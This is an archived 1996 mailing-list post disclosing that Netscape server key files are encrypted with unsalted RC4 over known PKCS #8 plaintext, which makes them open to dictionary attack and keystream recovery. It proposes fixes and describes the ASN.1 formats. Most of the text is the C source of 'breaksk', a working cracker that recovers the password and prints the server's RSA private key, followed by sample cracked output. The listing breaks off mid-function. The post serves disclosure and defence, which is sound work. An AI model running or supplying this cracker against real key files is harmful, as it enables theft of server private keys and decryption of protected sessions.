home *** CD-ROM | disk | FTP | other *** search
- The Netscape server key format is very susceptible to both a dictionary attack
- and to keystream recovery. It uses the PKCS #8 format for private keys, which
- provides a large amount of known plaintext at the start of the data, in
- combination with RC4 without any form of IV or other preprocessing (even though
- PKCS #8 recommends that PKCS #5 password-based encryption be used), which means
- you can recover the first 100-odd bytes of key stream with a simple XOR (the
- same stupid mistake Microsoft made with their .PWL files). This means two
- things:
-
- 1. It's very simple to write a program to perform a dictionary attack on the
- server key (it took me about half an hour using cryptlib, and another half
- hour to rip the appropriate code out of cryptlib to create a standalone
- program).
-
- 2. The recovered key stream from the encrypted server key can be used to
- decrypt any other resource encrypted with the server password, *without
- knowing the password*. This is because there's enough known plaintext
- (ASN.1 objects, object identifiers, and public key components) at the start
- of the encrypted data to recover large quantities of key stream.
-
- To demonstrate the problem, I have written a program which performs a
- dictionary attack on the server key, and if successful prints the password used
- to encrypt it and the server's RSA private key. Originally I used my
- encryption library (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) to do
- the encryption, to turn it into a standalone program I ripped the necessary
- parts out of the library, which means it's a bit messy and not as portable as
- the original was. The code could probably be made to run about twice as fast
- if it's properly optimised, but I don't know if it's worth the bother and
- besides, it's just gone 4am I could use some sleep.
-
- To run it, use:
-
- breaksk <Netscape server key file> <word list file>
-
- Here's the output from a server key someone sent me, tested against my 100MB+
- word list collection (some people collect stamps, I collect word lists :-):
-
- The password used to encrypt this Netscape server key is 'unguessable'.
-
- Modulus = 00D50626580C2543378FD249994A543FBF5FF1333E70684E942EC7034E5FA [...]
- Public exponent = 03
- Private exponent = 008E0419900818D77A5FE18666318D7FD4EAA0CCD44AF03462C9 [...]
- Prime 1 = 00FBD3FC2CE1F50B31323F2D3FA27F6708D4373CC0487DB7199A712124380 [...]
- Prime 2 = 00D88D984BA6A7CD07F6608D95D3AC2682769DA904D061E593CF86A21B4A9 [...]
- Exponent 1 = 00A7E2A81DEBF8B220CC2A1E2A6C54EF5B3824D32ADAFE7A1111A0C0C2 [...]
- Exponent 2 = 00905E6587C46FDE054EEB090E8D1D6F01A4691B588AEBEE628A59C167 [...]
- Coefficient = 2DEBC012356B96D2206346141371D999288F55DD07AEF6D1972383E97 [...]
-
- (I've trimmed some of the lines a bit).
-
- The problem here is caused by a combination of the PKCS #8 format (which is
- rather nonoptimal for protecting private keys) and the use of RC4 to encryt
- fixed, known plaintext. Since everything is constant, you don't even need to
- run the password-transformation process more than once - just store a
- dictionary of the resulting key stream for each password in a database, and you
- can break the encryption with a single lookup (this would be avoided by the use
- of PKCS #5 password-based encryption, which iterates the key setup and uses a
- salt to make a precomputed dictionary attack impossible. PKCS #5 states that
- its primary intended application is for protecting private keys, but Netscape
- chose not to use this and went with straight RC4 instead).
-
- A quick (but not necessarily optimal) solution to the problem involves two
- changes:
-
- 1. Only encrypt the unknown, private fields in the key (which is what PGP
- does). Instead of wrapping everything up in several layers of encapsulation
- with object identifiers and public-key components, change the portion which
- is encrypted to:
-
- EncryptedRSAPrivateKey ::= SEQUENCE {
- privateExponent INTEGER,
- prime1 INTEGER,
- prime2 INTEGER,
- exponent1 INTEGER,
- exponent2 INTEGER,
- coefficient INTEGER
- }
-
- with everything else outside this object.
-
- 2. Don't use a simple stream cipher to encrypt fixed data like this. Use an IV
- on the encrypted data. Iterate the password setup to slow down a dictionary
- attack (I posted a scheme for transforming variable to fixed-length keys to
- the cypherpunks list a few days ago which provides the necessary
- functionality).
-
- The consequences of this attack are pretty scary. It involves vastly less
- effort than breaking a 40-bit session key or factoring a 512-bit public key,
- yet once you've recovered the private key you can also recover every session
- key it's ever protected in the past and will ever protect in the future (which
- is why I'm a fan of signed DH for session key exchange). The ease with which a
- dictionary attack can be carried out represents a critical weakness which
- compromises all other encryption components on the server - spending a few days
- with a Markov-model based phrase generator on a PC is still a lot easier than
- spending a few months with GNFS and a workstation farm.
-
- It seems strange that there are no real standards defined for secure storage of
- such a critical component as a private key. Although a lot of work has gone
- into X.509 and the multitude of related public-key certificate standards, the
- only generally-used private-key formats are PKCS #8 (which has problems, as
- demonstrated above), and Microsofts recently-proposed PFX (Personal Information
- Exchange) data format and protocol (PFX is designed to allow users to move
- their keys, certificates and other personal information securely from one
- platform to another, you can get more info on it from
- http://www.microsoft.com/intdev/security/misf11_7.htm), which is too new to
- comment on. It would be useful if a portable, secure private-key format at the
- same level as the X.509 effort were developed to solve this problem.
-
- For the curious (and ASN.1-aware), here's what the data formats look like.
- First there's the outer encapsulation which Netscape use to wrap up the
- encrypted key:
-
- NetscapeServerKey ::= SEQUENCE {
- identifier OCTET STRING ('private-key'),
- encryptedPrivateKeyInfo
- EncryptedPrivateKeyInfo
- }
-
- Inside this is a PKCS #8 private key:
-
- EncryptedPrivateKeyInfo ::= SEQUENCE {
- encryptionAlgorithm EncryptionAlgorithmIdentifier,
- encryptedData EncryptedData
- }
-
- EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier
-
- EncryptedData = OCTET STRING
-
- Now the EncryptionAlgorithmIdentifier is supposed to be something like
- pbeWithMD5AndDES, with an associated 64-bit salt and iteration count, but
- Netscape ignored this and used straight rc4 with no salt or iteration count.
- The EncryptedData decrypts to:
-
- PrivateKeyInfo ::= SEQUENCE {
- version Version
- privateKeyAlgorithm PrivateKeyAlgorithmIdentifier
- privateKey PrivateKey
- attributes [ 0 ] IMPLICIT Attributes OPTIONAL
- }
-
- Version ::= INTEGER
-
- PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier
-
- PrivateKey ::= OCTET STRING
-
- Attributes ::= SET OF Attribute
-
- The algorithm information is encoded as:
-
- AlgorithmIdentifier ::= SEQUENCE {
- algorithm ALGORITHM.&id( { SupportedAlgorithms } ),
- parameters ALGORITHM.&Type( { SupportedAlgorithms }{ @algorithm } )
- OPTIONAL
- }
-
- SupportedAlgorithms ALGORITHM ::= { ... }
-
- ALGORITHM ::= TYPE-IDENTIFIER
-
- (and so on and so on, I haven't bothered going down any further). The
- EncryptionAlgorithmIdentifier is '1 2 840 113549 3 4' or { iso(1)
- member-body(2) US(840) rsadsi(113549) algorithm(3) rc4(4) }. The
- PrivateKeyAlgorithmIdentifier is '1 2 840 113549 1 1 1' or { iso(1)
- member-body(2) US(840) rsadsi(113549) pkcs(1) pkcs1-1(1) rsaEncryption(1) }.
-
- Included below is the code to perform the attack (set tabs to 4, phasers to
- stun).
-
- Do I get a t-shirt for this? :-)
-
- Peter.
-
- -- Snip --
-
- /* BreakSK - Break Netscape server key file encryption via dictionary attack.
- Written by Peter Gutmann <pgut001@cs.auckland.ac.nz> 26 September 1996 */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- /* Most of the code here was ripped out of cryptlib and is somewhat messy as
- a consquence. cryptlib has fairly extensive self-configuration and an
- internal API which hides machine-specific details, this program doesn't
- (the code here really wasn't meant for standalone use). As a result you
- need to manually define LITTLE_ENDIAN or BIG_ENDIAN, and it won't work at
- all on 64-bit systems. If you want the portability, use cryptlib instead */
-
- #define LITTLE_ENDIAN
- /* #define BIG_ENDIAN */
-
- /* Workarounds for cryptlib defines, constants, and macros */
-
- #define MASK32(x) x
-
- #define FALSE 0
- #define TRUE !FALSE
-
- typedef unsigned char BYTE;
- typedef unsigned long LONG;
- typedef int BOOLEAN;
-
- /* Functions to convert the endianness from the canonical form to the
- internal form. bigToLittle() convert from big-endian in-memory to
- little-endian in-CPU, littleToBig() convert from little-endian in-memory
- to big-endian in-CPU */
-
- void longReverse( LONG *buffer, int count );
-
- #ifdef LITTLE_ENDIAN
- #define bigToLittleLong( x, y ) longReverse(x,y)
- #define littleToBigLong( x, y )
- #else
- #define bigToLittleLong( x, y )
- #define littleToBigLong( x, y ) longReverse(x,y)
- #endif /* LITTLE_ENDIAN */
-
- /* Byte-reverse an array of 16- and 32-bit words to/from network byte order
- to account for processor endianness. These routines assume the given
- count is a multiple of 16 or 32 bits. They are safe even for CPU's with
- a word size > 32 bits since on a little-endian CPU the important 32 bits
- are stored first, so that by zeroizing the first 32 bits and oring the
- reversed value back in we don't need to rely on the processor only writing
- 32 bits into memory */
-
- void longReverse( LONG *buffer, int count )
- {
- #if defined( _BIG_WORDS )
- BYTE *bufPtr = ( BYTE * ) buffer, temp;
-
- count /= 4; /* sizeof( LONG ) != 4 */
- while( count-- )
- {
- /* There's really no nice way to do this - the above code generates
- misaligned accesses on processors with a word size > 32 bits, so
- we have to work at the byte level (either that or turn misaligned
- access warnings off by trapping the signal the access corresponds
- to. However a context switch per memory access is probably
- somewhat slower than the current byte-twiddling mess) */
- temp = bufPtr[ 3 ];
- bufPtr[ 3 ] = bufPtr[ 0 ];
- bufPtr[ 0 ] = temp;
- temp = bufPtr[ 2 ];
- bufPtr[ 2 ] = bufPtr[ 1 ];
- bufPtr[ 1 ] = temp;
- bufPtr += 4;
- }
- #else
- LONG value;
-
- count /= sizeof( LONG );
- while( count-- )
- {
- value = *buffer;
- value = ( ( value & 0xFF00FF00UL ) >> 8 ) | \
- ( ( value & 0x00FF00FFUL ) << 8 );
- *buffer++ = ( value << 16 ) | ( value >> 16 );
- }
- #endif /* _BIG_WORDS */
- }
-
- #define mputLLong(memPtr,data) \
- memPtr[ 0 ] = ( BYTE ) ( ( data ) & 0xFF ); \
- memPtr[ 1 ] = ( BYTE ) ( ( ( data ) >> 8 ) & 0xFF ); \
- memPtr[ 2 ] = ( BYTE ) ( ( ( data ) >> 16 ) & 0xFF ); \
- memPtr[ 3 ] = ( BYTE ) ( ( ( data ) >> 24 ) & 0xFF ); \
- memPtr += 4
-
- /****************************************************************************
- * *
- * MD5 *
- * *
- ****************************************************************************/
-
- /* The MD5 block size and message digest sizes, in bytes */
-
- #define MD5_DATASIZE 64
- #define MD5_DIGESTSIZE 16
-
- /* The structure for storing MD5 info */
-
- typedef struct {
- LONG digest[ 4 ]; /* Message digest */
- LONG countLo, countHi; /* 64-bit bit count */
- LONG data[ 16 ]; /* MD5 data buffer */
- #ifdef _BIG_WORDS
- BYTE dataBuffer[ MD5_DATASIZE ]; /* Byte buffer for data */
- #endif /* _BIG_WORDS */
- BOOLEAN done; /* Whether final digest present */
- } MD5_INFO;
-
- /* Round 1 shift amounts */
-
- #define S11 7
- #define S12 12
- #define S13 17
- #define S14 22
-
- /* Round 2 shift amounts */
-
- #define S21 5
- #define S22 9
- #define S23 14
- #define S24 20
-
- /* Round 3 shift amounts */
-
- #define S31 4
- #define S32 11
- #define S33 16
- #define S34 23
-
- /* Round 4 shift amounts */
-
- #define S41 6
- #define S42 10
- #define S43 15
- #define S44 21
-
- /* F, G, H and I are basic MD5 functions */
-
- #define F(X,Y,Z) ( ( X & Y ) | ( ~X & Z ) )
- #define G(X,Y,Z) ( ( X & Z ) | ( Y & ~Z ) )
- #define H(X,Y,Z) ( X ^ Y ^ Z )
- #define I(X,Y,Z) ( Y ^ ( X | ~Z ) )
-
- /* ROTATE_LEFT rotates x left n bits */
-
- #define ROTATE_LEFT(x,n) ( ( x << n ) | ( x >> ( 32 - n ) ) )
-
- /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */
-
- #define FF(A,B,C,D,X,shiftAmt,magicConst) \
- A += F( B, C, D ) + X + magicConst; \
- A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
-
- #define GG(A,B,C,D,X,shiftAmt,magicConst) \
- A += G( B, C, D ) + X + magicConst; \
- A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
-
- #define HH(A,B,C,D,X,shiftAmt,magicConst) \
- A += H( B, C, D ) + X + magicConst; \
- A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
-
- #define II(A,B,C,D,X,shiftAmt,magicConst) \
- A += I( B, C, D ) + X + magicConst; \
- A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B )
-
- /* Basic MD5 step. Transforms digest based on data. Note that if the
- Mysterious Constants are arranged backwards in little-endian order and
- decrypted with DES they produce OCCULT MESSAGES! */
-
- void MD5Transform( LONG *digest, LONG *data )
- {
- LONG A, B, C, D;
-
- /* Set up local data */
- A = digest[ 0 ];
- B = digest[ 1 ];
- C = digest[ 2 ];
- D = digest[ 3 ];
-
- /* Round 1 */
- FF( A, B, C, D, data[ 0 ], S11, 3614090360UL ); /* 1 */
- FF( D, A, B, C, data[ 1 ], S12, 3905402710UL ); /* 2 */
- FF( C, D, A, B, data[ 2 ], S13, 606105819UL ); /* 3 */
- FF( B, C, D, A, data[ 3 ], S14, 3250441966UL ); /* 4 */
- FF( A, B, C, D, data[ 4 ], S11, 4118548399UL ); /* 5 */
- FF( D, A, B, C, data[ 5 ], S12, 1200080426UL ); /* 6 */
- FF( C, D, A, B, data[ 6 ], S13, 2821735955UL ); /* 7 */
- FF( B, C, D, A, data[ 7 ], S14, 4249261313UL ); /* 8 */
- FF( A, B, C, D, data[ 8 ], S11, 1770035416UL ); /* 9 */
- FF( D, A, B, C, data[ 9 ], S12, 2336552879UL ); /* 10 */
- FF( C, D, A, B, data[ 10 ], S13, 4294925233UL ); /* 11 */
- FF( B, C, D, A, data[ 11 ], S14, 2304563134UL ); /* 12 */
- FF( A, B, C, D, data[ 12 ], S11, 1804603682UL ); /* 13 */
- FF( D, A, B, C, data[ 13 ], S12, 4254626195UL ); /* 14 */
- FF( C, D, A, B, data[ 14 ], S13, 2792965006UL ); /* 15 */
- FF( B, C, D, A, data[ 15 ], S14, 1236535329UL ); /* 16 */
-
- /* Round 2 */
- GG( A, B, C, D, data[ 1 ], S21, 4129170786UL ); /* 17 */
- GG( D, A, B, C, data[ 6 ], S22, 3225465664UL ); /* 18 */
- GG( C, D, A, B, data[ 11 ], S23, 643717713UL ); /* 19 */
- GG( B, C, D, A, data[ 0 ], S24, 3921069994UL ); /* 20 */
- GG( A, B, C, D, data[ 5 ], S21, 3593408605UL ); /* 21 */
- GG( D, A, B, C, data[ 10 ], S22, 38016083UL ); /* 22 */
- GG( C, D, A, B, data[ 15 ], S23, 3634488961UL ); /* 23 */
- GG( B, C, D, A, data[ 4 ], S24, 3889429448UL ); /* 24 */
- GG( A, B, C, D, data[ 9 ], S21, 568446438UL ); /* 25 */
- GG( D, A, B, C, data[ 14 ], S22, 3275163606UL ); /* 26 */
- GG( C, D, A, B, data[ 3 ], S23, 4107603335UL ); /* 27 */
- GG( B, C, D, A, data[ 8 ], S24, 1163531501UL ); /* 28 */
- GG( A, B, C, D, data[ 13 ], S21, 2850285829UL ); /* 29 */
- GG( D, A, B, C, data[ 2 ], S22, 4243563512UL ); /* 30 */
- GG( C, D, A, B, data[ 7 ], S23, 1735328473UL ); /* 31 */
- GG( B, C, D, A, data[ 12 ], S24, 2368359562UL ); /* 32 */
-
- /* Round 3 */
- HH( A, B, C, D, data[ 5 ], S31, 4294588738UL ); /* 33 */
- HH( D, A, B, C, data[ 8 ], S32, 2272392833UL ); /* 34 */
- HH( C, D, A, B, data[ 11 ], S33, 1839030562UL ); /* 35 */
- HH( B, C, D, A, data[ 14 ], S34, 4259657740UL ); /* 36 */
- HH( A, B, C, D, data[ 1 ], S31, 2763975236UL ); /* 37 */
- HH( D, A, B, C, data[ 4 ], S32, 1272893353UL ); /* 38 */
- HH( C, D, A, B, data[ 7 ], S33, 4139469664UL ); /* 39 */
- HH( B, C, D, A, data[ 10 ], S34, 3200236656UL ); /* 40 */
- HH( A, B, C, D, data[ 13 ], S31, 681279174UL ); /* 41 */
- HH( D, A, B, C, data[ 0 ], S32, 3936430074UL ); /* 42 */
- HH( C, D, A, B, data[ 3 ], S33, 3572445317UL ); /* 43 */
- HH( B, C, D, A, data[ 6 ], S34, 76029189UL ); /* 44 */
- HH( A, B, C, D, data[ 9 ], S31, 3654602809UL ); /* 45 */
- HH( D, A, B, C, data[ 12 ], S32, 3873151461UL ); /* 46 */
- HH( C, D, A, B, data[ 15 ], S33, 530742520UL ); /* 47 */
- HH( B, C, D, A, data[ 2 ], S34, 3299628645UL ); /* 48 */
-
- /* Round 4 */
- II( A, B, C, D, data[ 0 ], S41, 4096336452UL ); /* 49 */
- II( D, A, B, C, data[ 7 ], S42, 1126891415UL ); /* 50 */
- II( C, D, A, B, data[ 14 ], S43, 2878612391UL ); /* 51 */
- II( B, C, D, A, data[ 5 ], S44, 4237533241UL ); /* 52 */
- II( A, B, C, D, data[ 12 ], S41, 1700485571UL ); /* 53 */
- II( D, A, B, C, data[ 3 ], S42, 2399980690UL ); /* 54 */
- II( C, D, A, B, data[ 10 ], S43, 4293915773UL ); /* 55 */
- II( B, C, D, A, data[ 1 ], S44, 2240044497UL ); /* 56 */
- II( A, B, C, D, data[ 8 ], S41, 1873313359UL ); /* 57 */
- II( D, A, B, C, data[ 15 ], S42, 4264355552UL ); /* 58 */
- II( C, D, A, B, data[ 6 ], S43, 2734768916UL ); /* 59 */
- II( B, C, D, A, data[ 13 ], S44, 1309151649UL ); /* 60 */
- II( A, B, C, D, data[ 4 ], S41, 4149444226UL ); /* 61 */
- II( D, A, B, C, data[ 11 ], S42, 3174756917UL ); /* 62 */
- II( C, D, A, B, data[ 2 ], S43, 718787259UL ); /* 63 */
- II( B, C, D, A, data[ 9 ], S44, 3951481745UL ); /* 64 */
-
- /* Build message digest */
- digest[ 0 ] = MASK32( digest[ 0 ] + A );
- digest[ 1 ] = MASK32( digest[ 1 ] + B );
- digest[ 2 ] = MASK32( digest[ 2 ] + C );
- digest[ 3 ] = MASK32( digest[ 3 ] + D );
- }
-
- /****************************************************************************
- * *
- * MD5 Support Routines *
- * *
- ****************************************************************************/
-
- /* The routine md5Initial initializes the message-digest context md5Info */
-
- void md5Initial( MD5_INFO *md5Info )
- {
- /* Clear all fields */
- memset( md5Info, 0, sizeof( MD5_INFO ) );
-
- /* Load magic initialization constants */
- md5Info->digest[ 0 ] = 0x67452301L;
- md5Info->digest[ 1 ] = 0xEFCDAB89L;
- md5Info->digest[ 2 ] = 0x98BADCFEL;
- md5Info->digest[ 3 ] = 0x10325476L;
-
- /* Initialise bit count */
- md5Info->countLo = md5Info->countHi = 0L;
- }
-
- /* The routine MD5Update updates the message-digest context to account for
- the presence of each of the characters buffer[ 0 .. count-1 ] in the
- message whose digest is being computed */
-
- void md5Update( MD5_INFO *md5Info, BYTE *buffer, int count )
- {
- LONG tmp;
- int dataCount;
-
- /* Update bitcount */
- tmp = md5Info->countLo;
- if ( ( md5Info->countLo = tmp + ( ( LONG ) count << 3 ) ) < tmp )
- md5Info->countHi++; /* Carry from low to high */
- md5Info->countHi += count >> 29;
-
- /* Get count of bytes already in data */
- dataCount = ( int ) ( tmp >> 3 ) & 0x3F;
-
- /* Handle any leading odd-sized chunks */
- if( dataCount )
- {
- #ifdef _BIG_WORDS
- BYTE *p = md5Info->dataBuffer + dataCount;
- #else
- BYTE *p = ( BYTE * ) md5Info->data + dataCount;
- #endif /* _BIG_WORDS */
-
- dataCount = MD5_DATASIZE - dataCount;
- if( count < dataCount )
- {
- memcpy( p, buffer, count );
- return;
- }
- memcpy( p, buffer, dataCount );
- #ifdef _BIG_WORDS
- copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
- #else
- littleToBigLong( md5Info->data, MD5_DATASIZE );
- #endif /* _BIG_WORDS */
- MD5Transform( md5Info->digest, md5Info->data );
- buffer += dataCount;
- count -= dataCount;
- }
-
- /* Process data in MD5_DATASIZE chunks */
- while( count >= MD5_DATASIZE )
- {
- #ifdef _BIG_WORDS
- memcpy( md5Info->dataBuffer, buffer, MD5_DATASIZE );
- copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
- #else
- memcpy( md5Info->data, buffer, MD5_DATASIZE );
- littleToBigLong( md5Info->data, MD5_DATASIZE );
- #endif /* _BIG_WORDS */
- MD5Transform( md5Info->digest, md5Info->data );
- buffer += MD5_DATASIZE;
- count -= MD5_DATASIZE;
- }
-
- /* Handle any remaining bytes of data. */
- #ifdef _BIG_WORDS
- memcpy( md5Info->dataBuffer, buffer, count );
- #else
- memcpy( md5Info->data, buffer, count );
- #endif /* _BIG_WORDS */
- }
-
- /* Final wrapup - pad to MD5_DATASIZE-byte boundary with the bit pattern
- 1 0* (64-bit count of bits processed, MSB-first) */
-
- void md5Final( MD5_INFO *md5Info )
- {
- int count;
- BYTE *dataPtr;
-
- /* Compute number of bytes mod 64 */
- count = ( int ) md5Info->countLo;
- count = ( count >> 3 ) & 0x3F;
-
- /* Set the first char of padding to 0x80. This is safe since there is
- always at least one byte free */
- #ifdef _BIG_WORDS
- dataPtr = md5Info->dataBuffer + count;
- #else
- dataPtr = ( BYTE * ) md5Info->data + count;
- #endif /* _BIG_WORDS */
- *dataPtr++ = 0x80;
-
- /* Bytes of padding needed to make 64 bytes */
- count = MD5_DATASIZE - 1 - count;
-
- /* Pad out to 56 mod 64 */
- if( count < 8 )
- {
- /* Two lots of padding: Pad the first block to 64 bytes */
- memset( dataPtr, 0, count );
- #ifdef _BIG_WORDS
- copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
- #else
- littleToBigLong( md5Info->data, MD5_DATASIZE );
- #endif /* _BIG_WORDS */
- MD5Transform( md5Info->digest, md5Info->data );
-
- /* Now fill the next block with 56 bytes */
- #ifdef _BIG_WORDS
- memset( md5Info->dataBuffer, 0, MD5_DATASIZE - 8 );
- #else
- memset( md5Info->data, 0, MD5_DATASIZE - 8 );
- #endif /* _BIG_WORDS */
- }
- else
- /* Pad block to 56 bytes */
- memset( dataPtr, 0, count - 8 );
- #ifdef _BIG_WORDS
- copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE );
- #endif /* _BIG_WORDS */
-
- /* Append length in bits and transform */
- md5Info->data[ 14 ] = md5Info->countLo;
- md5Info->data[ 15 ] = md5Info->countHi;
-
- #ifndef _BIG_WORDS
- littleToBigLong( md5Info->data, MD5_DATASIZE - 8 );
- #endif /* _BIG_WORDS */
- MD5Transform( md5Info->digest, md5Info->data );
-
- md5Info->done = TRUE;
- }
-
- /****************************************************************************
- * *
- * RC4 *
- * *
- ****************************************************************************/
-
- /* If the system can handle byte ops, we use those so we don't have to do a
- lot of masking. Otherwise, we use machine-word-size ops which will be
- faster on RISC machines */
-
- #if UINT_MAX > 0xFFFFL /* System has 32-bit ints */
- #define USE_LONG_RC4
-
- typedef unsigned int rc4word;
- #else
- typedef unsigned char rc4word;
- #endif /* UINT_MAX > 0xFFFFL */
-
- /* The scheduled RC4 key */
-
- typedef struct {
- rc4word state[ 256 ];
- rc4word x, y;
- } RC4KEY ;
-
- /* Expand an RC4 key */
-
- void rc4ExpandKey( RC4KEY *rc4, unsigned char const *key, int keylen )
- {
- int x, keypos = 0;
- rc4word sx, y = 0;
- rc4word *state = &rc4->state[ 0 ];
-
- rc4->x = rc4->y = 0;
-
- for( x = 0; x < 256; x++ )
- state[ x ] = x;
-
- for( x = 0; x < 256; x++ )
- {
- sx = state[ x ];
- y += sx + key[ keypos ];
- #ifdef USE_LONG_RC4
- y &= 0xFF;
- #endif /* USE_LONG_RC4 */
- state[ x ] = state[ y ];
- state[ y ] = sx;
-
- if( ++keypos == keylen )
- keypos = 0;
- }
- }
-
- void rc4Crypt( RC4KEY *rc4, unsigned char *data, int len )
- {
- rc4word x = rc4->x, y = rc4->y;
- rc4word sx, sy;
- rc4word *state = &rc4->state[ 0 ];
-
- while (len--) {
- x++;
- #ifdef USE_LONG_RC4
- x &= 0xFF;
- #endif /* USE_LONG_RC4 */
- sx = state[ x ];
- y += sx;
- #ifdef USE_LONG_RC4
- y &= 0xFF;
- #endif /* USE_LONG_RC4 */
- sy = state[ y ];
- state[ y ] = sx;
- state[ x ] = sy;
-
- #ifdef USE_LONG_RC4
- *data++ ^= state[ ( unsigned char ) ( sx+sy ) ];
- #else
- *data++ ^= state[ ( sx+sy ) & 0xFF ];
- #endif /* USE_LONG_RC4 */
- }
-
- rc4->x = x;
- rc4->y = y;
- }
-
- /****************************************************************************
- * *
- * Driver Code *
- * *
- ****************************************************************************/
-
- /* Various magic values in the key file */
-
- static BYTE netscapeKeyfileID[] = {
- 0x04, 0x0B, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74,
- 0x65, 0x2D, 0x6B, 0x65, 0x79
- };
- static BYTE rc4EncryptionID[] = {
- 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86,
- 0xF7, 0x0D, 0x03, 0x04, 0x05, 0x00
- };
- static BYTE version[] = {
- 0x02, 0x01, 0x00
- };
- static BYTE rsaPrivateKeyID[] = {
- 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86,
- 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00
- };
-
- /* General-purpose buffer. We make them static buffers to keep them off the
- stack on DOS/Win16 boxes */
-
- static BYTE buffer[ 1024 ], temp[ 1024 ];
-
- /* Print a key component */
-
- int printKeyComponent( BYTE *buffer, char *title )
- {
- int count, length = 0, totalLength = 2;
-
- printf( "%s = ", title );
- if( *buffer++ != 0x02 )
- {
- puts( "Bad data format in key component." );
- return( 0 );
- }
-
- /* Get the length of the component */
- if( *buffer & 0x80 )
- {
- count = *buffer++ & 0x7F;
- totalLength += count;
- while( count-- )
- length = ( length << 8 ) | *buffer++;
- }
- else
- length = *buffer++;
- totalLength += length;
-
- /* Print the data */
- for( count = 0; count < length; count++ )
- printf( "%02X", buffer[ count ] );
- putchar( '\n' );
-
- return( totalLength );
- }
-
- /* The main program */
-
- int main( int argc, char *argv[] )
- {
- FILE *keyFile, *dictFile;
- int count, length = 0;
-
- /* Check args and open the server key file */
- if( argc != 3 )
- {
- puts( "Usage: breaksk <server key file> <dictionary>" );
- return( EXIT_FAILURE );
- }
- if( ( keyFile = fopen( argv[ 1 ], "rb" ) ) == NULL )
- {
- perror( argv[ 1 ] );
- return( EXIT_FAILURE );
- }
-
- /* Read the Netscape outer wrapper */
- if( getc( keyFile ) != 0x30 )
- {
- puts( "This doesn't look like a Netscape server key file." );
- exit( EXIT_FAILURE );
- }
- count = getc( keyFile ) & 0x7F;
- while( count-- )
- getc( keyFile );
- if( ( fread( buffer, 1, 13, keyFile ) != 13 ) || \
- memcmp( buffer, netscapeKeyfileID, 13 ) )
- {
- puts( "This doesn't look like a Netscape server key file." );
- exit( EXIT_FAILURE );
- }
-
- /* Read the PKCS #8 EncryptedPrivateKey wrapper */
- if( getc( keyFile ) != 0x30 )
- {
- puts( "This doesn't look like a Netscape server key file." );
- exit( EXIT_FAILURE );
- }
- count = getc( keyFile ) & 0x7F;
- while( count-- )
- getc( keyFile );
- if( ( fread( buffer, 1, 14, keyFile ) != 14 ) || \
- memcmp( buffer, rc4EncryptionID, 14 ) )
- {
- puts( "This doesn't look like an RC4-encrypted server key." );
- exit( EXIT_FAILURE );
- }
-
- /* Read the start of the EncryptedData field */
- if( getc( keyFile ) != 0x04 )
- {
- puts( "This doesn't look like a Netscape server key file." );
- exit( EXIT_FAILURE );
- }
- count = getc( keyFile ) & 0x7F;
- while( count-- )
- length = ( length << 8 ) | getc( keyFile );
-
- /* Read the encrypted RSAPrivateKey */
- if( fread( buffer, 1, length, keyFile ) != length )
- {
- puts( "Netscape server key file length fields are inconsistent." );
- exit( EXIT_FAILURE );
- }
- fclose( keyFile );
-
- /* We've got the data we want, now rumble through the dictionary trying
- each key on it. First, make sure we can open the thing */
- if( ( dictFile = fopen( argv[ 2 ], "r" ) ) == NULL )
- {
- perror( argv[ 2 ] );
- return( EXIT_FAILURE );
- }
-
- while( TRUE )
- {
- BYTE hashedPassword[ MD5_DIGESTSIZE ], *hashedPassPtr = hashedPassword;
- MD5_INFO md5Info;
- RC4KEY rc4key;
- char dictWord[ 100 ];
- int dictWordLength, index;
-
- /* Get the next word from the dictionary */
- if( fgets( dictWord, 100, dictFile ) == NULL )
- {
- puts( "No more words in dictionary." );
- break;
- }
- dictWordLength = strlen( dictWord ) - 1;
- dictWord[ dictWordLength ] = '\0';
-
- /* Hash the word using MD5 */
- md5Initial( &md5Info );
- md5Update( &md5Info, ( BYTE * ) dictWord, dictWordLength );
- md5Final( &md5Info );
- for( index = 0; index < MD5_DIGESTSIZE / 4; index++ )
- {
- mputLLong( hashedPassPtr, md5Info.digest[ index ] );
- }
-
- /* Set up the RC4 key based on the hashed password */
- rc4ExpandKey( &rc4key, hashedPassword, MD5_DIGESTSIZE );
-
- /* Copy the data to a temporary buffer and try to decrypt it */
- memcpy( temp, buffer, length );
- rc4Crypt( &rc4key, temp, 22 );
-
- /* Check for known plaintext */
- if( temp[ 0 ] != 0x30 || !( temp[ 1 ] & 0x80 ) )
- continue;
- index = 1;
- count = temp[ index++ ] & 0x7F;
- while( count-- )
- index++;
- if( memcmp( temp + index, version, 3 ) )
- continue;
- index += 3;
- if( memcmp( temp + index, rsaPrivateKeyID, 15 ) )
- continue;
-
- /* We've found the password, display it and decrypt the rest of
- the key */
- printf( "The password used to encrypt this Netscape server key "
- "is '%s'.\n\n", dictWord );
- index += 15;
- rc4Crypt( &rc4key, temp + 22, length - 22 );
-
- /* Skip the OCTET STRING encapsulation */
- if( temp[ index++ ] != 0x04 )
- {
- /* Should never happen */
- puts( "Bad data format in key file" );
- break;
- }
- count = temp[ index++ ] & 0x7F;
- while( count-- )
- index++;
-
- /* Skip the inner SEQUENCE encapsulation */
- if( temp[ index++ ] != 0x30 )
- {
- /* Should never happen */
- puts( "Bad data format in key file" );
- break;
- }
- count = temp[ index++ ] & 0x7F;
- while( count-- )
- index++;
-
- /* Skip the version number. NB: This encoding is incorrect and
- violates the ASN.1 encoding rules. It's strange that the outer
- version number is encoded correctly, but the inner one isn't */
- if( temp[ index++ ] != 0x02 || temp[ index++ ] != 0x00 )
- {
- /* Should never happen */
